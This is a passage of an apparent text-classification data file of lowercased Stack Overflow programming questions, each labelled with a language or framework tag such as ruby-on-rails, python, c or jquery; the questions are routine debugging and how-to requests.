&lt;/div&gt; </code></pre>   as you can see i m iterating through all the assignment on the current account. then  i m iterating through all the users on the current account. then  i m trying to select the particular assignment by the id and the user by the id and create a relationship between the two  but from the ui i can t select any <code>assignment</code> but the first one. i think this has something to do with the way i m iterating but i don t know for sure.   <h2>controller:</h2>  <pre><code>  def designate     designated_user = current_account.users.find_by(id: params[:user_id])     membership = designated_user.assignment_relationships.find_or_create_by(assignment_id: params[:id])      membership.update!(designated: true)     flash[:notice] =  successfully designated the user      redirect_to root_path   end </code></pre>   as you can see. the second line in the method looks for the assignment_id with the params[:id]. right now it only comes in as :id =>  1   when i m trying to get :id =>  2  or  4     let me know if you need to see any other code. thanks!,ruby-on-rails
#sinfonier bolt - adding a jarray object to output  if i make   <pre><code>jsonarray array = new jsonarray(); [...] this.addfield( array   array); </code></pre>   it generates:   <pre><code>{...   array : [\ x\   \ y\ ]  } </code></pre>   when it should be:   <pre><code>{...   array : [ x    y ] } </code></pre>   the sinfonier probably calls tostring on the jarray object. i think it should create a full json and then call tostring on the full json.    is there any other way to do this     (this is a sinfonier specific question  sorry  but no sinfonier tag available yet),java
accessing values from other class and how to access base class variable  i have tried some codes in java to access variables  my code is as follows   <pre><code>class firstclass {     public string classname =  firstclass ;     int arg=100;     private string insidevariable= private ; } class secondclass extends firstclass{     public string classname= secondclass ;     public string extend=new firstclass().classname; }  public class access {     public static void main(string[] args) {         system.out.println(new firstclass().classname);         system.out.println(new secondclass().classname);         system.out.println(new secondclass().arg);         system.out.println(new secondclass().extend);     } } </code></pre>   i have following questions    <ol> <li> i can able to access classname variable values by using <strong>new firstclass.classname</strong> and <strong>new secondclass().classname</strong>  is this creates object or what is the functions happen here  </li> <li> i m extending the firstclass to secondclass  and i can able to access <strong>arg</strong> variable using <strong>new secondclass().arg</strong>  now how to access the <strong>classname</strong> variable in base class using extended class  </li> </ol>,java
actioncontroller::methodnotallowed (only get  put  and delete requests are allowed.)  i m getting this error  actioncontroller::methodnotallowed (only get  put  and delete requests are allowed.)  when i try to submit a form.  my route looks like this         admin.resources :email_launcher    and this is my form_for    <ul> <li>form_for :email_launcher  :url => new_admin_email_launcher_path  :method => :get do |f|</li> </ul>   this is not in a form but in the new view  and i m using haml. i ve google searched all day on the error but never found anything of value. any help would be great  thanks.    here s my rake routes for admin_email_launcher   <pre><code>                          admin_email_launcher_index get     /admin/email_launcher(.:format)                                                {:controller=&gt; admin/email_launcher   :action=&gt; index }                                                      post    /admin/email_launcher(.:format)                                                {:controller=&gt; admin/email_launcher   :action=&gt; create }                             new_admin_email_launcher get     /admin/email_launcher/new(.:format)                                            {:controller=&gt; admin/email_launcher   :action=&gt; new }                            edit_admin_email_launcher get     /admin/email_launcher/:id/edit(.:format)                                       {:controller=&gt; admin/email_launcher   :action=&gt; edit }                                                      get     /admin/email_launcher/:id(.:format)                                            {:controller=&gt; admin/email_launcher   :action=&gt; show }                                                      put     /admin/email_launcher/:id(.:format)                                            {:controller=&gt; admin/email_launcher   :action=&gt; update }                                                      delete  /admin/email_launcher/:id(.:format)                                            {:controller=&gt; admin/email_launcher   :action=&gt; destroy } </code></pre>,ruby-on-rails
javascript $.post directing to a folder  i have a code below which works fine. however  when i move the update.php from the root folder to a folder named  sql  and change the line to $.post( sql/update.php ); the script does not work. it appears that it can t access to the file. does anyone know why    <pre><code>&lt;script&gt;     setinterval( update()   10000);     function update() {        $.post( update.php );     }  &lt;/script&gt; </code></pre>,javascript
ruby on rails can use remote-true without helpers   can i use remote->true without helper and set its interval,ruby-on-rails
setting equal box height by taking parent container height & applying it to child elements  i am trying to take the parent container height and then apply it to the child containers within  with an end-result to be responsive on window resize  and disable the function for below window size 768px    please see jsfiddle: <a href= http://jsfiddle.net/8vks5ubj/9/embedded/result/  rel= nofollow >http://jsfiddle.net/8vks5ubj/9/embedded/result/</a>   <pre><code>jquery( .common-height ).each(function(){  var highestbox = 0; jquery( .center   this).each(function(){      if($(this).outerheight() &gt; highestbox)         highestbox = jquery(this).outerheight();  });   jquery( .center  this).outerheight(highestbox);  }); </code></pre>   would really appreciate any help.    thanks,jquery
how to display float values like $0.00 in textfield in iphone   im new to iphone  i have one textfield  when i click custom number button the value will print in the textfield  if i enter a value in textfield example(1234)  but i want float value like 0.00. how     example    text1.text = [[nsstring alloc] initwithformat:@ %@%d   text1.text  num.tag];     1234,iphone
tricky :nth-child selector  i have spent a while with solving the following problem:     i would love to wrap the  infinite  number of floated div by four in column (and different for smaller media width) by adding <code>clear:left</code> to the each fifth  element;    i made a fiddle where it works just fine. <a href= https://jsfiddle.net/kybernaut/zqnkxa3h/1/  rel= nofollow noreferrer >https://jsfiddle.net/kybernaut/zqnkxa3h/1/</a>    but no matter whatever i do  in the <a href= http://staging.kybernaut.cz/cafeplechac/ product=sestav-si-salat  rel= nofollow noreferrer >real situation</a> the layout gets broken (two last items are wrongly wrapped  when i set it back to <code>:nth-child(4n+1)</code>  it breaks a different way completely. is there anything i m missing on that page  i have no idea how to fix it myself. the class is <code>.bundled_product</code>,css
normal activity switching to tabactivity  i have 2 activity: a  b. the first is an normal activity and the second an tabactivity. inside a i have a clickable button that make an intent to call the tabactivity the output showing black screen..how to show the ui of both the screens tell me the solution i need code please help me,android
how to handle localization in datepickerdialog - android   <a href= https://i.stack.imgur.com/pijzg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pijzg.png  alt= enter image description here ></a>    my app supports chinese and english languages. where english works fine  issue is only with chinese. when i open datepickerdialog by default there are some fields on popup are loading in chinese but as you can see in screenshot  mon  jan 15  is not in chinese. since this is default popup and i have not set any chinese text to datepickerdialog this dialog.    my question is   <ol> <li>how i can change  mon  jan 15  to chinese</li> <li>why  mon  jan 15  not changed to chinese by default </li> </ol>   here is my code:   <pre><code>datepickerbutton.setonclicklistener(new view.onclicklistener() {     @override     public void onclick(view v) {         showdialog(0);     } });  @override @deprecated protected dialog oncreatedialog(int id) {     return new datepickerdialog(this  datepickerlistener  year  month  day); }  private datepickerdialog.ondatesetlistener datepickerlistener = new datepickerdialog.ondatesetlistener() { public void ondateset(datepicker view  int selectedyear                        int selectedmonth  int selectedday) {     day = selectedday;     month = selectedmonth;     year = selectedyear;     datepickerbutton.settext(selectedday +   /   + (selectedmonth + 1) +   /               + selectedyear); } }; </code></pre>   thanks in advance,android
how to update the values for import functionality in rails   i am having a import.rb file which maps different headers and stores it to database through csv/xls upload. in that there are some fields which are new fields building directly. for example  name and website are stored directly in companies table but  alt_email and alt_email2 are stored in email table with type customers. (number of records stored at a time). here company has_many emails.    this is my rb file:   <pre><code>def import   name = fetch_value(row   customer name   :string)   website = fetch_value(row   website   :string)   cust_alt_email = fetch_value(row   customer alternate email1   :string)   cust_alt_email2 = fetch_value(row   customer alternate email2   :string)   customer_name = fetch_value(row   customer name   :string)   company = customer_name   customer_name.strip.chomp.squeeze(   ) :      if company.present      customer = company.new     customer.name = company     customer.website = website      if cust_alt_email.present        customer.emails.build(email: cust_alt_email)     end     if cust_alt_email2.present        customer.emails.build(email: cust_alt_email2)     end    else     customer = company.find_by_id(customer_name_to_id[company.downcase])     if customer       customer.name = company       customer.website = website     end       end     end </code></pre>   insert values is working fine. like build for create  how to update the values or replace the current values with old ones  please help me.,ruby-on-rails
scanf() is getting skipped  hi just started learning c for uni (usually use objective c) and have run into a strange issue with scanf  i have the following code   <pre><code>   while(stringcheck == 0){     scanf( %c  &amp;computertype);     computertype = toupper(computertype);      if ( computertype ==  l ) {         /*set stringcheck to 1 so the scanf while loop breaks*/         stringcheck = 1;          counter = 0;     } else {         printf( error\n );     } } </code></pre>   this i printing out  error  then asking for input (so it is skipping the scanf statment the first time). if i change the it to another variable that is a string it works fine  it stops on the first time.    the rest of the code works fine  its just the fact that it print an error as soon as it enters the loop that is annoying.    i have tried <code>getchar()</code> and it does the same thing.    thank you for any help you have to offer.,c
clicking on the anchor link tab is opening new window in ie8 and works fine in mozilla and ff  i have written a below code for tabbed anchor links   <pre><code>&lt;div class= tabbox  &gt;     &lt;div class= tabarea &gt;         &lt;a class= tab activetab  href= #  target= dv  onclick= changeit( dv );          &lt;a class= tab activetab  href= #  target= dv  onclick= changeit( dv ); return false &gt;tab1&lt;/a&gt;         &lt;a class= tab  href= #  target= ugf   onclick= changeit( ugf ); return false &gt;tab2&lt;/a&gt;     &lt;/div&gt; &lt;/div&gt; &lt;div class= tabmain  style= width:400 &gt;     &lt;span id= dv &gt;&lt;/span&gt;     &lt;span id= ugf &gt;&lt;/span&gt; &lt;/div&gt; </code></pre>   when we click on the tab1 or tab2 in ie8 it is opening a new window. but in ff and chrome it is showing in the tab data in the same window. why it is opening a new window in ie8,html
hidden_cursor()  not setting visibility on exit  i m working on a python script using blessed and can t get the  hidden_cursor()  function to work properly.    it will successfully hide the cursor but it won t set the visibility back on exit.    this is what i tried so far:   <pre><code>with term.hidden_cursor():     while true:         command = raw_input (term.move(27  2) +   )         if command ==  x :             os.system( clear )             sys.exit()         else:             os.system( clear )             main( self ) </code></pre>   and here s the full script: <a href= https://gist.github.com/lovemac15/c5e71e0b8aa428693e5b  rel= nofollow >https://gist.github.com/lovemac15/c5e71e0b8aa428693e5b</a>    thanks! :d,python
how to get input field value in a variable for a link using php  i found this topic:    <a href= https://stackoverflow.com/questions/13447554/how-to-get-input-field-value-using-php >how to get input field value using php</a>    but it didn t help to me. i didn t have any form just this:   <pre><code>echo  &lt;input required  type =  number  name =  db  value= 1  /&gt;&lt;br&gt; ; </code></pre>   and i want this input type value store in a variable if i hit a link it should send this checkbox data as well and open the href with these values.    like  buy=#product_id&amp;quantity=#insert_value_here    now it sends only the product_id and the quantity value is empty.,php
what objective c preprocessor / compiler / iphone sdk do behind the scene   i do see tutorials like this one <a href= http://www.youtube.com/watch v=8x-vdtewpeo  rel= nofollow noreferrer >http://www.youtube.com/watch v=8x-vdtewpeo</a>    they re good but they just describe the recipe so i still don t understand the logics what s happening behind the scene:    what objective c preprocessor / compiler / iphone sdk do when one drag from interface builder to fileowner. why this name  file owner,iphone
how to make a property bold while displaying in textarea in jquery   i need to make some part of text bold while displaying in jquery:   <pre><code>$( :checked ).each(function() {     var $textarea = $( textarea );     $textarea.val($textarea.val() + $(this).prop( name ) +   =   + this.value +  \n  ); }); </code></pre>   in the above code  i want to make $(this).prop( name ) as bold while displaying it in textarea .    please give me any suggestion/help    thank you in advance ramsai,jquery
how to create a custom directive that wraps others custom directive inserted dynamically into the wrapper’s template   i’d like to create a custom directive that wraps others custom directive inserted dynamically into the wrapper’s template. but i can’t find a proper way to do it. by now i’ve come up with the following solution that unfortunately doesn’t work.   <pre><code>angular.module( myapp   [])     .directive( contentdir   function () {         return {             restrict:  e               replace: true              template:  &lt;div&gt;&lt;b&gt;content is here&lt;/b&gt;&lt;/div&gt;          };     })     .directive( wrapperdir   function () {         return {             restrict:  e               scope: {                 htmlcontent:  @htmlcontent               }              replace: true              controller: function($scope  $sce){                 $scope.scontent = $sce.trustashtml($scope.htmlcontent);             }              template:  &lt;div&gt;this is a wrapper for the... &lt;span ng-bind-html= scontent &gt;&lt;/span&gt;!&lt;/div&gt;          };     }) ; </code></pre>   //html   <pre><code>&lt;wrapper-dir html-content= &lt;content-dir&gt;&lt;/content-dir&gt; &gt;&lt;/wrapper-dir&gt; </code></pre>   the wrapper-dir directive doesn t produce html. could anybody explain what i m doing wrong and what the proper way to do it,angularjs
python sum and then multiply values of several lists  is there way to write following code  in one line    <pre><code>my_list = [[1  1  1]  [1  2]  [1  3]] result = 1 for l in list:     result = result * sum(l) </code></pre>,python
list comprehension to count consonants  <strong>is there a more pythonic way to complete this task </strong>  <br>i am given an sentence as shown below and i have to count the amount of consonants which would be 14 in this case. i am certain there is way to reduce the amount of lines but cannot seem to figure out how.    <h2>attempt so far</h2>  <pre><code>def main():     s =  this is an example sentence.      vowels =  aeiou.      lines = s.strip().split()     word =   .join(lines)     print(len([l for l in word if l not in vowels]))  if __name__ ==  __main__ :     main() </code></pre>,python
php is_dir don t find folder  i want to loop through a directory and echo all folders. however  the foreach-loop just echo out . and ..   <pre><code>$dir =  content/ ; $handle = scandir($dir); foreach ($handle as $file) {     if (is_dir($file)) { echo  &lt;br&gt;  . $file; } } </code></pre>   here is the content of the directory:    <img src= https://i.stack.imgur.com/vsruy.png  alt= enter image description here >,php
add button to uitableviewcell and did not showed up  i am adding a delete button to a <code>uitableviewcell</code> in <code>cellforrowatindexpath:</code> but the button did not show up.   <pre><code>double deleteyoffset=10; double deletew=100; double deleteh=100;  uibutton *deletebutton =[uibutton buttonwithtype:uibuttontypecustom]; deletebutton.frame=cgrectmake(imagexoffset  deleteyoffset  deletew  deleteh); uiimage *image = [uiimage imagenamed:@ delete.png ]; [deletebutton setbackgroundcolor:[uicolor greencolor]]; [deletebutton setimage:image forstate:uicontrolstatenormal]; [[cell contentview ]addsubview:deletebutton]; </code></pre>,ios
c++ constructor call  i have written this small code snippet in c++  the output is also attached. i fail to understand why the constructor is being called only once  while i can see two calls being made for destructor.    from what i understand  default constructor and overloaded assignment operator should be called at line 28.    can someone please throw some light on this:   <pre><code>  1 #include &lt;iostream&gt;   2 using namespace std;   3    4 class abc {   5   char c;   6   public:   7     abc() {   8       cout &lt;&lt;  default  &lt;&lt; endl;   9     }  10     abc(char c) {  11       this-&gt;c = c;  12       cout &lt;&lt; c &lt;&lt; endl;  13     }  14     ~abc() {  15       cout &lt;&lt; hex &lt;&lt; this &lt;&lt;   destructor   &lt;&lt; c &lt;&lt; endl;  16     }  17     void method() {  18       cout &lt;&lt;  method  &lt;&lt; endl;  19     }  20     void operator= (const abc&amp; a) {  21       cout &lt;&lt;  operator  &lt;&lt; endl;  22     }  23  24 };  25   26 int main() {  27   abc b( b );  28   abc a = b;  29 } </code></pre>  <hr>  <pre><code>output in g++ version 4.0.1: ~/src$ g++ test.cpp ~/src$ ./a.out  b 0xbffff0ee destructor b 0xbffff0ef destructor b </code></pre>,c++
finding records with two specific records in another table  i have a <code>product</code> model that <code>has_and_belongs_to_many :taxons</code>  and i want to find all products that are in specific taxons.    for example  if a product belongs to both the  ruby on rails  and  shirts  taxon  i want that product to be returned in the dataset  but <em>not</em> if it only belongs to either  ruby on rails  or  shirts,ruby-on-rails
retrieve tr from table  how can i retrieve all the tr with class= ccc  from a table with id =iii,jquery
declaring dynamic variables inside for loop (c#)  i have a task when i type for example 2 in the console then i am supposed to parse the next two lines of strings. i am giving you a clear example:   <pre><code>2 j 1 1 1 1 b 0 0 0 1 </code></pre>   so when i do a for loop like this and when i console write it only shows me the 2nd basilisk(b 0 0 0 1):   <pre><code>string basilisk;         int basilisk1d = 0;         int basilisk2d = 0;         int basilisk3d = 0;         int basilisk4d = 0;         string basiliskname = string.empty;         for (int i = 0; i &lt; numberofbasilisks; i++)         {             basilisk = console.readline();             var splittedbasilisk = basilisk.split(   );             basiliskname = splittedbasilisk[0];             basilisk1d = int.parse(splittedbasilisk[1]);             basilisk2d = int.parse(splittedbasilisk[2]);             basilisk3d = int.parse(splittedbasilisk[3]);             basilisk4d = int.parse(splittedbasilisk[4]);                        } </code></pre>   it erases me the first line and only put the data of the second basilisk so can i put in the for loop <code>i</code> in the name of the variables to make them unique for each of basilisk or there is a better solution,c#
problem with copy constructor with class with polymorphic pointers  i have  class with two fields witch are pointers to abstract class. how i can write copy constructor witch will copy the data pointed with the two pointers.    here is the class   <pre><code>class osgfmenu; class osgfmenuitem; typedef void(osgfmenu::*osgfmenucommand)(osgfmenuitem*); typedef int (osgfmenuitem::*fnmethod) ( int  char* ); class osgfmenuitem:     public osgfdrawablecomponent { public:     osgfmenuitem(game&amp; game osgfmenu&amp; menu)         :osgfdrawablecomponent(game) mmenu(menu) mactive(false)     {     }     osgfmenuitem(const osgfmenuitem&amp; menuitem)         :osgfdrawablecomponent(menuitem) mmenu(menuitem.mmenu)     {         copy(menuitem);     }     osgfmenuitem&amp; operator=(const osgfmenuitem&amp; menuitem)     {         if(&amp;menuitem != this)             copy(menuitem);         return *this;     }     void setactive(bool active)     {         mactive = active;     }     void activate()     {         setactive(true);     }     void deactivate()     {         setactive(false);     }     void setcommand(osgfmenucommand command)     {         mcommand = command;     }     virtual void render()const     {         if(!mactive)             drawifnotnull(mdrawdata);         else             if(!drawifnotnull(mactivedrawdata))                 drawifnotnull(mdrawdata);      }     virtual void update(double dtime)     {         osgfdrawablecomponent* drawdata =              dynamic_cast&lt;osgfdrawablecomponent*&gt;(mdrawdata);         if(drawdata)             drawdata-&gt;update(dtime);     }     void invoke()     {         (mmenu.*mcommand)(this);     }     ~osgfmenuitem()     {         safedelete(mdrawdata);         safedelete(mactivedrawdata);     } protected:     void setdrawdata(idrawable* drawdata)     {         mdrawdata = drawdata;     }     void setactivedrawdata(idrawable* drawdata)     {         mactivedrawdata = drawdata;     } private:     bool drawifnotnull(idrawable* drawdata)const     {         if(!drawdata)return false;         drawdata-&gt;render();         return true;     }     void copy(const osgfmenuitem&amp; menuitem)     {         mcommand = menuitem.mcommand;         *mdrawdata = *menuitem.mdrawdata;         *mactivedrawdata = *menuitem.mactivedrawdata;         mactive = menuitem.mactive;     }     osgfmenucommand mcommand;     osgfmenu&amp; mmenu;     idrawable* mdrawdata;     idrawable* mactivedrawdata;     bool mactive; }; </code></pre>,c++
should i always try to use the in keyword with sets rather than lists   i often make use of python s <code>in</code> keyword to avoid having to write a long line of an if statement  like so.   <pre><code>if letter in [ a   b   c ]: </code></pre>   however i have seen some people advising that a set is better to use as it takes less time   <pre><code>if letter in { a   b   c }: </code></pre>   is this true in most cases or a particular kind of case  is it worthwhile to convert a list of strings into a set to save time in this way  ie.   <pre><code>settocheck = set(listtocheck) for thing in things:     if thing in settocheck: </code></pre>   i m aware that the list would <strong>need</strong> to contain hashable elements  but otherwise would it be overall a faster way of checking,python
why assign variable to itself  a co-worker wrote a function like this (the comment was written by me):   <pre><code>static void foo(void *arg) {     //arg is not global variable     arg = arg;     // call other function  but doesn t use arg     foo2(); } </code></pre>   is there some reason to write code like this  does it have some special purpose,c
c#: is there an equivalent class of timertask from java in c#   i am looking if there is an equivalent class of timertask from java in c#     the timertask of java is referenced to here: <a href= http://download.oracle.com/javase/1.4.2/docs/api/java/util/timertask.html  rel= nofollow >http://download.oracle.com/javase/1.4.2/docs/api/java/util/timertask.html</a>    thanks in advance.    the purpose of this is that i need to implement some code following in c#:   <pre><code>import java.util.timer; import java.util.timertask;  private static timer timer = new timer();  private timertask timeouttask;  if (timeouttime&gt;0) {   timeouttask = new timertask() {      public void run()      {       // callactivity();     }   }; }  timer.schedule( timeouttask  timeouttime); </code></pre>   if you could provide me an equivalent code in c#  that would be great! thanks in advance,c#
division value coming wrong while dividing with some number to get percentage of a number in c#  i want to get the percentage of 255. 255 is 100%. if i have numbered between 1- 255 i need to find out the percentage of that number.    i tried this formula but i m getting values after decimal   how to remove decimal values .    <pre><code>int battery_dec = convert.toint32(batterybyte  16);//12 double batterypercentage = convert.todouble(battery_dec)/  255;//0 double battery = batterypercentage * 100; </code></pre>,c#
filter in angular js returns same value <pre><code> here is my custom filter for angular js  app.filter( convertedtime   function () { return function (date) {     dateobject=moment().utc(date).format( hh:mm );     return dateobject;   }; </code></pre>   })    here is my view file    {{data.legs[0].origin.departuretimeestimated |convertedtime}}     my problem is every time filter returns same value.,angularjs
syntax explanation (dot syntax)  in my app i have following line of code:   <pre><code>self.namelabel.text = searchresult.name; </code></pre>   i wonder  how could i write it without dots  that is how i tried to do this:   <pre><code>[[self namelabel] text] = [searchresult name]; </code></pre>   or    <pre><code>[[self namelabel] text] = searchresult.name; </code></pre>   look right for me  i calling getter methods of properties  but xcode warn me with fatal error - expression is not assignable.    but <code>[[self namelabel] text]</code> produce same variable <code>text</code> as <code>self.namelabel.text</code>  just like <code>searchresult.name</code> is equal to <code>[searchresult name]</code>.    why is that happen      any advice would be appreciated  thanks!,objective-c
update value without clearing screen in c  i want to update a variable s value and print on screen without clearing it.. like:   <blockquote>    my program var value: 1<br>    my program var value: 2<br>    my program var value: 3  </blockquote>   but without clearing the whole screen and reprinting the text    example:    <pre><code>    main(){         int i;         clrscr();         for(i=0; i&lt;10; i++){              printf( %d   i);              sleep(1);              clrscr();          }         getch();      } </code></pre>   here to print a simple value that is i i have to clear screen each time to update its value.....    how can i overcome this...,c
c: not counting spaces and new lines  i have the following source code to count blank spaces  new lines and characters in a file:   <pre><code>#include &lt;stdio.h&gt; #include &lt;sys/stat.h&gt; #include &lt;fcntl.h&gt; #include &lt;unistd.h&gt; int main(){     int fd;     int b=0  nl=0  c=0;     char ch[1];     fd=open( text.txt   o_rdonly);      while((read(fd  ch  1))&gt;0)     {         if(ch==   )             b++;         if(ch== \n )             nl++;         c++;     }     printf( no of blanks %d\n   b);     printf( no of new line %d\n   nl);     printf( no of characters %d\n   c); } </code></pre>   the result is like this:   <pre><code>no of blanks 0 no of new line 0 no of characters 24 </code></pre>   my text.txt file s content is:   <pre><code>hello world hello world </code></pre>   number of charactes is right (it includes spaces and new lines). but why are the result of variables <code>b</code> and <code>nl</code> wrong <br> ps: i m new to c  but have a little practice in c++.,c
query string concatenation with a string variable  i have a problem in this query  country is a variable. error: country is invalid column name..       <pre><code>cmd.commandtext =  select [news_id]  [news_title] from [upload_news] where [city]= + country; </code></pre>,asp.net
is it possible to get warnings from compiler when replacing nsmutabledictionary with other class   i have the following code:   <pre><code>nsdictionary&lt;nsstring *  id&gt; * dictionary = [[nsdictionary&lt;nsstring *  id&gt; alloc]      initwithobjectsandkeys:@ value1   @ key1   @ value2   @ key2   nil];  // ns nsmutabledictionary *  mutabledictionary= [[nsmutabledictionary alloc] init]; [mutabledictionary setvaluesforkeyswithdictionary:dictionary]; </code></pre>   from various reasons  i need to change the class <code>nsmutabledictionary</code>  to other custom class.    i ve created a simple empty class  as follows:   <pre><code>@interface mutabledictionary2 :  nsobject @end @implementation mutabledictionary2 { } @end </code></pre>   and changed my original code  to use the new class:   <pre><code>// custom class mutabledictionary2* mutabledictionary2 = [[mutabledictionary2 alloc] init]; [mutabledictionary2 setvaluesforkeyswithdictionary:dictionary]; </code></pre>   the desired behaviour  for me  is that the compiler will give me warning/error  telling that <code>setvaluesforkeyswithdictionary</code> is not declared/defined in my new class  so i will have to implement it (with my new changes)  however i don t get any warning.    when i check definition of it  using ide it directs me to:   <pre><code>nskeyvaluecoding::setvaluesforkeyswithdictionary </code></pre>   and during runtime i get exception:   <blockquote>     mutabledictionary2 setvalue:forundefinedkey :   this class is not key value coding-compliant for the key key1.   </blockquote>   is there any way to get warnings/errors for this scenario   i prefer knowing about these problems when compiling  not running.    different pattern      compiler flag       trick       thanks for any help     jd.,objective-c
how to make an nswindow appear in front of other apps   sorry if this is an obvious question  but i m new to objective-c.    i m making a menu bar app (doesn t show in dock  only in menu bar)  and for some reason when i open a window  it appears at the very back  behind all the other apps. i thought <code>makekeyandorderfront:</code> would be enough  but it doesn t seem to do the trick.    so how do i make the window appear in front of other apps,objective-c
angular trailing slash for resource  my api requires a trailing slash for api calls.  i was wondering how to pull that off with angular.    so i need to be able to access <code>/tasks/</code> or a <code>/tasks/xxxx/.</code>  i attempted to do it via:   <pre><code>angular.module( taskservices   [ ngresource ]).         factory( tasks   function($resource){             return $resource( /tasks/:task_id/   {}  {                  query: {method: get                             params:{}                           isarray:true}             });  }); </code></pre>   and a   <pre><code>$scope.tasks = tasks.query();  </code></pre>   but it results in a <code>/tasks</code> or a <code>tasks/xxx</code> query.    how can i force it to always be <code>/tasks/</code> and <code>/tasks/xxx/</code>,angularjs
how can i check how much free space an sd card mounted on an android device has   how can i programmatically check how much free space an sd card mounted on an android device has,android
jquery: increment variable value based on clicks  i have the following jquery code:   <pre><code>var letter_a = 0; var letter_b = 0; var letter_c = 0;  $( .abc li a ).click(function () {     var selected = $(this).hasclass( selected );     $(this).closest( ul.abc ).find( li a ).removeclass( selected );     if (!selected)     {         $(this).addclass( selected );     }      if ($(this).hasclass( a ))     {         letter_a++;     }     else if ($(this).hasclass( b ))     {         letter_b++;     }     else if($(this).hasclass( a ))     {         letter_c++;     } }); </code></pre>   what happens is when a person clicks a link like: <code>&lt;a class= a &gt;option a&lt;/a&gt;</code> it will increment the variable by one and so on and so on. but because users can deselect options and also change their minds  i also need it to decrement if they have chosen a different answer or deselected.    how would i do this     thanks,jquery
modify html of rails `link_to` helper  rails has the <code>link_to</code> helper  and i m aware that its output is determined by the actionview::helper::urlhelper` method  but what is an easy and simple way to modify the behavior or rather make a different helper that would work similarly  the default behavior would output something similar to:   <pre><code>&lt;a href= /blah  class= my_link &gt;go to blah&lt;/a&gt; </code></pre>   so say i wanted to have a <code>&lt;span&gt;</code> inside the <code>&lt;a&gt;</code> like so:   <pre><code>&lt;a href= /blah  class= my_link &gt;&lt;span&gt;go to blah&lt;/span&gt;&lt;/a&gt; </code></pre>   if i wanted to create the helper  i m aware that i should probably put in in my <code>app/helpers/application_helper.rb</code> file but how would i construct it,ruby-on-rails
create a table based on one row of one to another table  i created different tables for each authors because each author table has different column names.    table author    <pre><code>author_id   firstname     lastname     1             rock         smith           2             edward       thomas </code></pre>   table author books   <pre><code> author_id   bookname    1         book1    1         book2    1         book3    1         book4    1         book5 </code></pre>   i want result like this result table   <pre><code>firstname   lastname  bookname  rock        smith    book1  rock        smith    book2  rock        smith    book3  rock        smith    book4  rock        smith    book4 </code></pre>   table new_authors    <pre><code>author_id    author_table    1          rock_smith    2          edward_thomas </code></pre>   talbe rock_smith   <pre><code>firstname   lastname  bookname  rock        smith    book1  rock        smith    book2  rock        smith    book3  rock        smith    book4  rock        smith    book4   is it possible to get all the rock_smith table info on querying new_authors table  </code></pre>,sql
php - how can i print a image using printf   im trying to print a image using printf  but it doesnt work.    the column  imagem  show the directory of the image.   <pre><code>function listacds() {             $sql =  select * from `cds` ;             if(($rs=$this-&gt;bd-&gt;executarsql($sql))){                          while ($row = mysql_fetch_array($rs)) {                                 printf(                                &lt;img src=%s height= 100  width= 100  /&gt;   $row[ imagem ]);                               echo  &lt;br&gt; ;                         }              }             else {                 return false;             }         } </code></pre>,php
create leading dots in css  what is a nice way to do leading dots in a table of contents with css     example:   <pre><code>link.............chapter 1 link.............chapter 2 link.............chapter 3 </code></pre>,css
define function twice in js. indicate which definition to use depending on web page  i have two web pages. they share the same .js file  but the file contains code that i only want to execute for one or the other of the pages.    i thought i could handle it like below  where each page has an element with a unique id  either  page_1  or  page_2 . the js then tests for the existence of this element before executing the code.    however  on page_1  even though it doesn t actually execute the code inside the page_2 if statement  the function runstartfunction() is still overridden because it is defined twice.    how can i avoid this  obviously i could give all the functions different names  but i have a lot of pages and i could accidentally use the same name at some point.   <pre><code>if (document.getelementbyid( page_1 ) != null){     alert( page 1 ); // executed  as expected     function runstartfunction(){         alert( what i want ); // not executed  but should be     } }   if (document.getelementbyid( page_2 ) != null){    alert( page 2 ); // not executed  as expected    function runstartfunction(){          alert( what i don t want ); // executed  but shouldn t be    }  }  runstartfunction(); </code></pre>,javascript
using fields_for in partial throwing undefined method `model_name  for enumerator:class  i have a scenario where an assignment has a number of strengths to develop and each strength has performance levels.    i am trying to loop through a collection and display the strength name and then a radio button for each of the performance levels so the user can select where they think they are at.    i am passing the collection with the data to a partial to render.   <pre><code>&lt;div id= content &gt;&lt;%= render partial:  focus   locals: {assignment: @assignment}%&gt;&lt;/div&gt; </code></pre>   and in the partial i am trying to use fields_for to loop through the collection like so:   <pre><code>&lt;%= form_for @assignment do |f| %&gt;   &lt;% puts ( found how many   ).concat(@assignment.assignmentassessments.length.to_s) %&gt;    &lt;div id= content &gt;     &lt;%= form_for @assignment do |f| %&gt;       &lt;% puts ( found how many   ).concat(@assignment.assignmentassessments.length.to_s) %&gt;       &lt;%= hidden_field_tag  assignment[assignmentassessments][]   nil %&gt;       &lt;%= fields_for @assignment.assignmentassessments.each do |a| %&gt;         &lt;%= strength_name(a.strength_id) %&gt;         &lt;% performance.all.each do |p| %&gt;             &lt;label class= checkbox &gt;               &lt;%= check_box_tag  assignment[assignmentassessments][]   a.id  p.level == a.performance_id  id: dom_id(a) %&gt;               &lt;%= label_tag dom_id(a)  a.id %&gt;             &lt;/label&gt;         &lt;% end %&gt;       &lt;% end %&gt;    &lt;% end %&gt; &lt;/div&gt; </code></pre>   when i get to the statement   <pre><code>&lt;%= fields_for @assignment.assignmentstrengthperformanceassessments.each do |asses| %&gt; </code></pre>   i am getting <code>nomethoderror in assignments#show</code> and the detail saying <code>undefined method  model_name  for enumerator:class</code>    i thought assignmentstrengthperformanceassessments might have been nil so i put the puts in there to write it out to the console - that is returning correct value of 6 from the length call.    the models look like this   <pre><code>class assignmentstrengthperformanceassessment &lt; activerecord::base   belongs_to :assignment end  class assignment &lt; activerecord::base   has_many :assignmentassessments  class_name:  assignmentstrengthperformanceassessment    accepts_nested_attributes_for :assignmentassessments end </code></pre>   and before i show anything i am building the collection in my controller like so   <pre><code>@assignment.assignmentassessments.build(user_id: 0  assignment_id: @assignment.id) </code></pre>   any guidance will be graciously welcomed.    thanks,ruby-on-rails
